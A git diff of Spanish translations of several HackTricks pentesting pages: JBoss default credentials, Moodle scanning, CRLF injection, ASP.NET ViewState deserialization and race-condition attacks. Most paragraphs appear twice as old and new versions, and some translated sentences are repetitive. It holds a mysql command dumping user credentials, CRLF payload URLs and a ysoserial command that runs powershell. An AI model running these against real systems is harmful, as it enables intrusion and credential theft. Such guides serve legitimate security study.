Si estás interesado en una **carrera de hacking** y hackear lo imposible, ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible, ¡**estamos contratando**! (_se requiere fluidez en polaco, tanto escrito como hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -22,7 +22,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible, ¡**e
Las páginas web _/web-console/ServerInfo.jsp_ y _/status?full=true_ a menudo revelan **detalles del servidor**.
Puedes exponer **servlets de gestión** a través de las siguientes rutas dentro de JBoss (dependiendo de la versión): _/admin-console_, _/jmx-console_, _/management_ y _/web-console_. Las credenciales predeterminadas son **admin**/**admin**. Una vez que hayas obtenido acceso, puedes usar los servlets invoker disponibles para interactuar con los MBeans expuestos:
Puedes exponer **servlets de gestión** a través de las siguientes rutas dentro de JBoss (dependiendo de la versión): _/admin-console_, _/jmx-console_, _/management_ y _/web-console_. Las credenciales predeterminadas son **admin**/**admin**. Una vez que hayas obtenido acceso, puedes utilizar los servlets invoker disponibles para interactuar con los MBeans expuestos:
* /web-console/Invoker (versiones de JBoss 6 y 7)
* /invoker/JMXInvokerServlet y /invoker/EJBInvokerServlet (JBoss 5 y anteriores)
@ -38,9 +38,9 @@ Puedes exponer **servlets de gestión** a través de las siguientes rutas dentro
```
inurl:status EJInvokerServlet
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}

View File

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
@ -41,17 +41,17 @@ Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
```
El comando `moodlescan` es una herramienta de escaneo de seguridad diseñada específicamente para Moodle, una plataforma de aprendizaje en línea. Esta herramienta se utiliza para identificar posibles vulnerabilidades en una instalación de Moodle y proporciona información detallada sobre los riesgos de seguridad.
El comando `moodlescan` es una herramienta de escaneo de seguridad diseñada específicamente para Moodle, una plataforma de aprendizaje en línea. Esta herramienta se utiliza para identificar posibles vulnerabilidades en una instalación de Moodle y proporciona información detallada sobre los riesgos de seguridad presentes.
El comando `moodlescan` se ejecuta desde la línea de comandos y acepta varios parámetros para personalizar el escaneo. Algunas de las características clave de `moodlescan` incluyen:
- Escaneo de versiones de Moodle: `moodlescan` puede identificar la versión exacta de Moodle que se está ejecutando en un sitio web. Esto es útil para determinar si una instalación de Moodle está actualizada y si se han corregido las vulnerabilidades conocidas en versiones anteriores.
- Escaneo de versiones de Moodle: `moodlescan` puede identificar la versión exacta de Moodle que se está ejecutando en un sitio web objetivo. Esto es útil para determinar si la versión instalada tiene vulnerabilidades conocidas que podrían ser explotadas.
- Escaneo de plugins: `moodlescan` puede analizar los plugins instalados en un sitio de Moodle y verificar si hay vulnerabilidades conocidas en ellos. Esto es importante, ya que los plugins pueden introducir nuevas vulnerabilidades en una instalación de Moodle.
- Escaneo de plugins: Moodle admite una amplia gama de plugins que agregan funcionalidad adicional a la plataforma. `moodlescan` puede escanear estos plugins en busca de vulnerabilidades conocidas y proporcionar recomendaciones para mitigar los riesgos.
- Escaneo de configuración: `moodlescan` también puede analizar la configuración de Moodle en busca de posibles problemas de seguridad. Esto incluye la verificación de la configuración de autenticación, la configuración de permisos y otras configuraciones relacionadas con la seguridad.
- Escaneo de configuración: `moodlescan` también puede analizar la configuración de Moodle en busca de configuraciones inseguras o mal configuradas que podrían ser aprovechadas por un atacante.
Es importante destacar que `moodlescan` es una herramienta de escaneo de seguridad y no debe utilizarse para fines maliciosos. Su objetivo principal es ayudar a los administradores de Moodle a identificar y corregir posibles vulnerabilidades en sus instalaciones.
Es importante tener en cuenta que `moodlescan` es una herramienta de escaneo de seguridad y no debe utilizarse para fines maliciosos. Su objetivo principal es ayudar a los administradores de Moodle a identificar y corregir posibles problemas de seguridad en sus instalaciones.
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
@ -85,19 +85,43 @@ Scan completed.
CMSMap es una herramienta de código abierto que se utiliza para escanear y enumerar los sistemas de gestión de contenido (CMS) en un sitio web. Esta herramienta es útil durante las pruebas de penetración para identificar el CMS utilizado por un sitio web y obtener información sobre las vulnerabilidades conocidas asociadas con ese CMS en particular.
#### Características principales de CMSMap:
#### Características principales
- Escaneo de CMS: CMSMap puede escanear un sitio web en busca de CMS populares como WordPress, Joomla, Drupal, etc. Esto ayuda a los pentesters a identificar rápidamente el CMS utilizado por el sitio web objetivo.
- Escaneo de CMS: CMSMap puede escanear un sitio web en busca de CMS populares como WordPress, Joomla, Drupal, Magento, etc. Esto ayuda a los pentesters a identificar rápidamente el CMS utilizado por el sitio web objetivo.
- Enumeración de usuarios: CMSMap puede enumerar los usuarios registrados en un sitio web basado en CMS. Esto puede ser útil para identificar posibles nombres de usuario válidos para ataques de fuerza bruta o intentos de inicio de sesión.
- Enumeración de usuarios: CMSMap puede enumerar los usuarios registrados en un sitio web basado en CMS. Esto puede ser útil para identificar posibles cuentas de administrador o usuarios con privilegios especiales.
- Enumeración de plugins y temas: CMSMap puede enumerar los plugins y temas instalados en un sitio web basado en CMS. Esto proporciona información valiosa sobre las versiones de los plugins y temas, lo que puede ayudar a identificar vulnerabilidades conocidas.
- Enumeración de plugins y temas: CMSMap puede enumerar los plugins y temas instalados en un sitio web basado en CMS. Esto proporciona información adicional sobre las funcionalidades y configuraciones del sitio web.
- Enumeración de directorios: CMSMap puede enumerar los directorios y archivos presentes en un sitio web. Esto puede ayudar a los pentesters a identificar posibles puntos de entrada para ataques de inyección de código o acceso no autorizado.
- Escaneo de vulnerabilidades conocidas: CMSMap puede buscar vulnerabilidades conocidas asociadas con el CMS identificado. Esto ayuda a los pentesters a identificar posibles puntos débiles en el sitio web objetivo.
- Escaneo de vulnerabilidades: CMSMap puede escanear un sitio web en busca de vulnerabilidades conocidas asociadas con el CMS utilizado. Esto ayuda a los pentesters a identificar posibles puntos débiles en el sitio web objetivo.
#### Uso básico
CMSMap es una herramienta poderosa que puede ahorrar tiempo y esfuerzo durante las pruebas de penetración de sitios web basados en CMS. Sin embargo, es importante utilizar esta herramienta de manera ética y obtener el permiso adecuado antes de realizar cualquier escaneo o prueba de penetración.
El uso básico de CMSMap implica proporcionar la URL del sitio web objetivo y ejecutar el comando correspondiente. Por ejemplo, para escanear un sitio web en busca de CMS, se puede utilizar el siguiente comando:
```
cmsmap.py -u <URL>
```
Para enumerar usuarios registrados en un sitio web basado en CMS, se puede utilizar el siguiente comando:
```
cmsmap.py -u <URL> --users
```
Para enumerar plugins y temas instalados en un sitio web basado en CMS, se puede utilizar el siguiente comando:
```
cmsmap.py -u <URL> --plugins-themes
```
Para escanear vulnerabilidades conocidas asociadas con el CMS identificado, se puede utilizar el siguiente comando:
```
cmsmap.py -u <URL> --vulnerabilities
```
Es importante tener en cuenta que CMSMap es una herramienta de prueba de penetración y solo debe utilizarse con fines legales y éticos.
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
@ -136,27 +160,21 @@ Para realizar una prueba de penetración en un sitio web Moodle, es posible que
Aquí hay algunos pasos que puedes seguir para volcar las credenciales de la base de datos:
1. Identifica el tipo de base de datos utilizada por Moodle. Puede ser MySQL, PostgreSQL u otro sistema de gestión de bases de datos.
1. **Enumeración de la base de datos**: Utiliza técnicas de enumeración para identificar el tipo de base de datos utilizada por el sitio web Moodle. Esto te ayudará a seleccionar las herramientas y comandos adecuados para extraer las credenciales.
2. Utiliza herramientas como `phpMyAdmin` o `pgAdmin` para acceder a la base de datos. Estas herramientas te permitirán ejecutar consultas SQL y extraer datos de la base de datos.
2. **Escaneo de puertos**: Realiza un escaneo de puertos para identificar los servicios y puertos abiertos en el servidor. Esto te ayudará a determinar si hay algún servicio de base de datos en ejecución.
3. Ejecuta una consulta SQL para extraer las credenciales de la tabla de usuarios. Por ejemplo, en MySQL, puedes usar la siguiente consulta:
3. **Identificación de la ubicación de la base de datos**: Una vez que hayas identificado el tipo de base de datos, deberás determinar la ubicación de la base de datos en el servidor. Esto puede variar dependiendo del sistema operativo y la configuración del servidor.
```sql
SELECT username, password FROM mdl_user;
```
4. **Extracción de credenciales**: Utiliza herramientas como `sqlmap` o comandos SQL para extraer las credenciales de la base de datos. Estas herramientas te permitirán realizar ataques de inyección SQL y extraer información confidencial de la base de datos.
Esta consulta seleccionará los nombres de usuario y las contraseñas de la tabla `mdl_user`. Asegúrate de ajustar el nombre de la tabla según la configuración de tu base de datos.
4. Guarda los resultados de la consulta en un archivo seguro. Puedes hacerlo exportando los resultados a un archivo CSV o guardándolos en un archivo de texto encriptado.
Recuerda que realizar pruebas de penetración en un sitio web sin permiso explícito es ilegal y puede tener consecuencias legales graves. Siempre asegúrate de obtener el consentimiento del propietario del sitio web antes de realizar cualquier prueba de penetración.
Es importante tener en cuenta que realizar pruebas de penetración sin el consentimiento explícito del propietario del sitio web es ilegal y puede tener consecuencias legales graves. Siempre asegúrate de obtener el permiso adecuado antes de realizar cualquier prueba de penetración.
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}

View File

@ -12,7 +12,7 @@
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
@ -20,14 +20,14 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡*
## ¿Qué es CRLF?
Cuando un navegador envía una solicitud a un servidor web, el servidor web responde con una respuesta que contiene tanto las cabeceras de respuesta HTTP como el contenido real del sitio web, es decir, el cuerpo de la respuesta. Las cabeceras HTTP y la respuesta HTML (el contenido del sitio web) están separados por una combinación específica de caracteres especiales, a saber, un retorno de carro y un avance de línea. En resumen, también se conocen como CRLF.
Cuando un navegador envía una solicitud a un servidor web, el servidor web responde con una respuesta que contiene tanto las cabeceras de respuesta HTTP como el contenido real del sitio web, es decir, el cuerpo de la respuesta. Las cabeceras HTTP y la respuesta HTML (el contenido del sitio web) están separados por una combinación específica de caracteres especiales, a saber, un retorno de carro y un salto de línea. En resumen, también se conocen como CRLF.
El servidor web utiliza el CRLF para entender cuándo comienza una nueva cabecera HTTP y cuándo termina otra. El CRLF también puede indicar a una aplicación web o a un usuario que comienza una nueva línea en un archivo o en un bloque de texto. Los caracteres CRLF son un mensaje estándar HTTP/1.1, por lo que se utilizan en cualquier tipo de servidor web, incluyendo Apache, Microsoft IIS y todos los demás.\
El servidor web utiliza el CRLF para entender cuándo comienza una nueva cabecera HTTP y cuándo termina otra. El CRLF también puede indicar a una aplicación web o a un usuario que comienza una nueva línea en un archivo o en un bloque de texto. Los caracteres CRLF son un mensaje estándar HTTP/1.1, por lo que se utilizan en cualquier tipo de servidor web, incluyendo Apache, Microsoft IIS y otros.\
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### ¿Qué es la Vulnerabilidad de Inyección de CRLF?
En un ataque de vulnerabilidad de inyección de CRLF, el atacante inserta tanto el retorno de carro como los caracteres de avance de línea en la entrada del usuario para engañar al servidor, a la aplicación web o al usuario haciéndoles creer que se ha terminado un objeto y que ha comenzado otro. Por lo tanto, las secuencias de CRLF no son caracteres maliciosos, sin embargo, pueden ser utilizados con intenciones maliciosas, para la división de respuestas HTTP, etc.
En un ataque de vulnerabilidad de inyección de CRLF, el atacante inserta tanto el retorno de carro como los caracteres de salto de línea en la entrada del usuario para engañar al servidor, a la aplicación web o al usuario haciéndoles creer que se ha terminado un objeto y que ha comenzado otro. Por lo tanto, las secuencias de CRLF no son caracteres maliciosos, sin embargo, pueden ser utilizados con intenciones maliciosas, para la división de respuestas HTTP, etc.
## Inyección de CRLF en aplicaciones web
@ -52,7 +52,7 @@ IP - Hora - Ruta visitada
```
Por lo tanto, al explotar una vulnerabilidad de inyección CRLF, el atacante puede falsificar entradas en el archivo de registro para ocultar sus propias acciones maliciosas. El atacante está literalmente secuestrando la página y modificando la respuesta. Por ejemplo, imagina un escenario en el que el atacante tiene la contraseña de administrador y ejecuta el parámetro restrictedaction, que solo puede ser utilizado por un administrador.
El problema es que si el administrador se da cuenta de que una IP desconocida utilizó el parámetro restrictedaction, se dará cuenta de que algo está mal. Sin embargo, como ahora parece que el comando fue emitido por el localhost (y, por lo tanto, probablemente por alguien que tiene acceso al servidor, como un administrador), no parece sospechoso.
El problema es que si el administrador se da cuenta de que una IP desconocida utilizó el parámetro restrictedaction, notará que algo está mal. Sin embargo, como ahora parece que el comando fue emitido por el localhost (y, por lo tanto, probablemente por alguien que tiene acceso al servidor, como un administrador), no parece sospechoso.
Toda la parte de la consulta que comienza con %0d%0a será tratada por el servidor como un parámetro. Después de eso, hay otro & con el parámetro restrictedaction que será analizado por el servidor como otro parámetro. Efectivamente, esta sería la misma consulta que:
```
@ -105,11 +105,11 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te
#### Descripción
Al explotar una inyección CRLF, un atacante también puede insertar encabezados HTTP que podrían usarse para derrotar mecanismos de seguridad como el filtro XSS de un navegador o la misma política de origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede establecer cookies que podrían ser explotadas al iniciar sesión en la cuenta del atacante o al explotar vulnerabilidades de scripting entre sitios (XSS) que de otra manera no se podrían explotar.
Al explotar una inyección CRLF, un atacante también puede insertar encabezados HTTP que podrían usarse para derrotar mecanismos de seguridad como el filtro XSS de un navegador o la misma política de origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede establecer cookies que podrían ser explotadas al iniciar sesión en la cuenta del atacante o al explotar vulnerabilidades de [cross-site scripting (XSS)](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/) que de otra manera no se podrían explotar.
#### Un ejemplo de inyección de encabezado HTTP para extraer datos sensibles
Si un atacante puede inyectar los encabezados HTTP que activan CORS (Compartir recursos de origen cruzado), puede usar JavaScript para acceder a recursos que están protegidos por SOP (Política de origen mismo), que evita que los sitios de diferentes orígenes se accedan entre sí.
Si un atacante puede inyectar los encabezados HTTP que activan CORS (Compartir recursos de origen cruzado), puede usar JavaScript para acceder a recursos que están protegidos por SOP (Política de mismo origen), que evita que los sitios de diferentes orígenes se accedan entre sí.
### Nueva solicitud HTTP en SSRF
@ -184,7 +184,7 @@ Además, los investigadores también descubrieron que podían desincronizar las
El impacto de las inyecciones de CRLF varía e incluye todos los impactos de la ejecución de código en sitios cruzados hasta la divulgación de información. También puede desactivar ciertas restricciones de seguridad como los filtros XSS y la Política de mismo origen en los navegadores de la víctima, dejándolos susceptibles a ataques maliciosos.
### Cómo prevenir las inyecciones de CRLF / encabezados HTTP en aplicaciones web
### Cómo prevenir las Inyecciones de CRLF / Encabezados HTTP en Aplicaciones Web
La mejor técnica de prevención es no utilizar la entrada de los usuarios directamente dentro de los encabezados de respuesta. Si eso no es posible, siempre debes usar una función para codificar los caracteres especiales de CRLF. Otra buena práctica de seguridad de aplicaciones web es actualizar tu lenguaje de programación a una versión que no permita la inyección de CR y LF dentro de las funciones que establecen los encabezados HTTP.
@ -223,7 +223,7 @@ La mejor técnica de prevención es no utilizar la entrada de los usuarios direc
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
@ -235,7 +235,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View File

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
@ -73,7 +73,7 @@ También podemos hacerlo para la aplicación **en general** configurándolo en e
</system.web>
</configuration>
```
Como el parámetro está protegido por MAC, esta vez, para ejecutar con éxito el ataque, primero necesitamos conocer la clave utilizada. En este caso, BurpSuite nos indicará que el parámetro está protegido por MAC:
Como el parámetro está protegido por MAC, esta vez, para ejecutar con éxito el ataque, primero necesitamos conocer la clave utilizada. En este caso, BurpSuite nos informará que el parámetro está protegido por MAC:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.0.png)
@ -118,7 +118,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
--generator = {__VIWESTATEGENERATOR parameter value}
```
En los casos en los que el servidor **no envía** el parámetro `_VIEWSTATEGENERATOR`, **no** es necesario **proporcionar** el parámetro `--generator`, pero sí estos:
En los casos en los que el parámetro `_VIEWSTATEGENERATOR` **no se envía** por el servidor, **no** es necesario **proporcionar** el parámetro `--generator`, **pero sí estos**:
```bash
--apppath="/" --path="/hello.aspx"
```
@ -130,7 +130,7 @@ En este caso, Burp no encuentra si el parámetro está protegido con MAC porque
**En este caso, el módulo** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **está en desarrollo...**
Antes de .NET 4.5, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin encriptar** de los usuarios, incluso si **`ViewStateEncryptionMode`** se ha establecido en _**Always**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin encriptar, aún se procesará**.
Antes de .NET 4.5, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin encriptar** de los usuarios incluso si **`ViewStateEncryptionMode`** se ha establecido en _**Always**_. ASP.NET solo verifica la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin encriptar, aún se procesará**.
Por lo tanto, si se conoce la Machine Key (por ejemplo, a través de un problema de recorrido de directorios), se puede utilizar el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2** para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
@ -205,9 +205,9 @@ Solicitud fuera de banda con el nombre de usuario actual
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable, ¡**estamos contratando!** (se requiere fluidez en polaco, tanto escrito como hablado).
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡**estamos contratando!** (se requiere fluidez en polaco, tanto escrito como hablado).
{% embed url="https://www.stmcyber.com/careers" %}

View File

@ -12,9 +12,9 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible, ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible, ¡**estamos contratando**! (_se requiere dominio del polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -85,9 +85,9 @@ php vuln.php
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando**! (_se requiere fluidez en polaco, tanto escrito como hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
{% embed url="https://www.stmcyber.com/careers" %}

View File

@ -15,14 +15,14 @@ Obtén acceso hoy mismo:
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Explotando la Condición de Carrera
El principal problema de abusar de las CC es que necesitas que las solicitudes se procesen en paralelo con una diferencia de tiempo muy corta (generalmente >1ms). En la siguiente sección, se proponen diferentes soluciones para hacer esto posible.
El principal problema de abusar de las RC es que necesitas que las solicitudes se procesen en paralelo con una diferencia de tiempo muy corta (generalmente >1ms). En la siguiente sección, se proponen diferentes soluciones para hacer esto posible.
<figure><img src="../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
@ -44,15 +44,15 @@ A continuación, **prepárate para enviar los marcos finales**:
- Asegúrate de que TCP\_NODELAY esté desactivado: es crucial que el algoritmo de Nagle agrupe los marcos finales.
- Envía un paquete de ping para calentar la conexión local. Si no haces esto, la pila de red del sistema operativo colocará el primer marco final en un paquete separado.
Finalmente, envía los marcos retenidos. Deberías poder verificar que llegaron en un solo paquete usando Wireshark.
Finalmente, envía los marcos retenidos. Deberías poder verificar que llegaron en un solo paquete utilizando Wireshark.
{% hint style="info" %}
Ten en cuenta que esto **no funciona para archivos estáticos** en ciertos servidores, pero como los archivos estáticos no son relevantes para los ataques de condición de carrera. Pero los archivos estáticos son irrelevantes para los ataques de CC.
Ten en cuenta que esto **no funciona para archivos estáticos** en ciertos servidores, pero como los archivos estáticos no son relevantes para los ataques de condición de carrera. Pero los archivos estáticos son irrelevantes para los ataques de RC.
{% endhint %}
Utilizando esta técnica, puedes hacer que 20-30 solicitudes lleguen al servidor simultáneamente, sin importar el jitter de la red:
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Adaptándose a la arquitectura objetivo**
@ -75,7 +75,7 @@ Usando Turbo Intruder, puedes introducir un breve retraso en el lado del cliente
En su lugar, es posible que puedas resolver este problema abusando de una característica de seguridad común.
Los servidores web a menudo **retrasan el procesamiento de las solicitudes si se envían demasiado rápido**. Al enviar una gran cantidad de solicitudes falsas para provocar intencionalmente el límite de velocidad o de recursos, es posible que puedas causar un retraso adecuado en el lado del servidor. Esto hace que el ataque de un solo paquete sea viable incluso cuando se requiere una ejecución retrasada.
Los servidores web a menudo **retrasan el procesamiento de las solicitudes si se envían demasiado rápido**. Al enviar un gran número de solicitudes falsas para provocar intencionalmente el límite de velocidad o de recursos, es posible que puedas causar un retraso adecuado en el lado del servidor. Esto hace que el ataque de un solo paquete sea viable incluso cuando se requiere una ejecución retrasada.
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
@ -136,7 +136,7 @@ engine.openGate(currentAttempt)
* Para **retrasar** el proceso **entre** el procesamiento **de una solicitud y otra** en 2 pasos de subestado, puedes **agregar solicitudes adicionales entre** ambas solicitudes.
* Para un RC de **multi-endpoint**, puedes comenzar enviando la **solicitud** que **va al estado oculto** y luego **50 solicitudes** justo después de ella que **explotan el estado oculto**.
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### BF en bruto
@ -165,17 +165,19 @@ table.add(req)
```
* **Python - asyncio**
La biblioteca `asyncio` de Python es una herramienta poderosa para escribir código asíncrono y concurrente. Permite realizar operaciones de entrada/salida (E/S) de manera eficiente y manejar múltiples tareas de forma concurrente.
La biblioteca `asyncio` de Python es una biblioteca de programación asíncrona que permite escribir código concurrente utilizando la sintaxis `async/await`. Proporciona una forma sencilla de escribir programas que realizan operaciones de entrada/salida de manera eficiente y no bloqueante.
La programación asíncrona es especialmente útil en situaciones en las que se requiere realizar múltiples tareas simultáneamente, como en el caso de las pruebas de penetración. Una técnica comúnmente utilizada en las pruebas de penetración es la condición de carrera.
La programación asíncrona es especialmente útil en situaciones en las que se necesita realizar múltiples tareas simultáneamente, como en el caso de las pruebas de penetración web. Una técnica común utilizada en las pruebas de penetración web es la condición de carrera, que aprovecha las condiciones de ejecución simultánea para obtener acceso no autorizado a recursos protegidos.
Una condición de carrera ocurre cuando dos o más procesos o hilos intentan acceder y modificar un recurso compartido al mismo tiempo, lo que puede llevar a resultados inesperados o inseguros. En el contexto de las pruebas de penetración web, una condición de carrera puede ser explotada para obtener acceso no autorizado o realizar acciones maliciosas.
Una condición de carrera ocurre cuando dos o más procesos compiten por acceder o modificar un recurso compartido al mismo tiempo. En el contexto de las pruebas de penetración web, esto puede ocurrir cuando múltiples solicitudes se envían al servidor al mismo tiempo y se ejecutan en paralelo.
Para aprovechar una condición de carrera en una aplicación web, es necesario identificar un punto de vulnerabilidad donde se pueda producir una competencia por el acceso a un recurso compartido. Esto puede ser, por ejemplo, un proceso de autenticación o una operación de actualización de datos.
Para aprovechar una condición de carrera en una aplicación web, es necesario identificar un punto de vulnerabilidad donde se pueda producir una condición de carrera. Esto puede ser, por ejemplo, un proceso de autenticación o un proceso de actualización de datos.
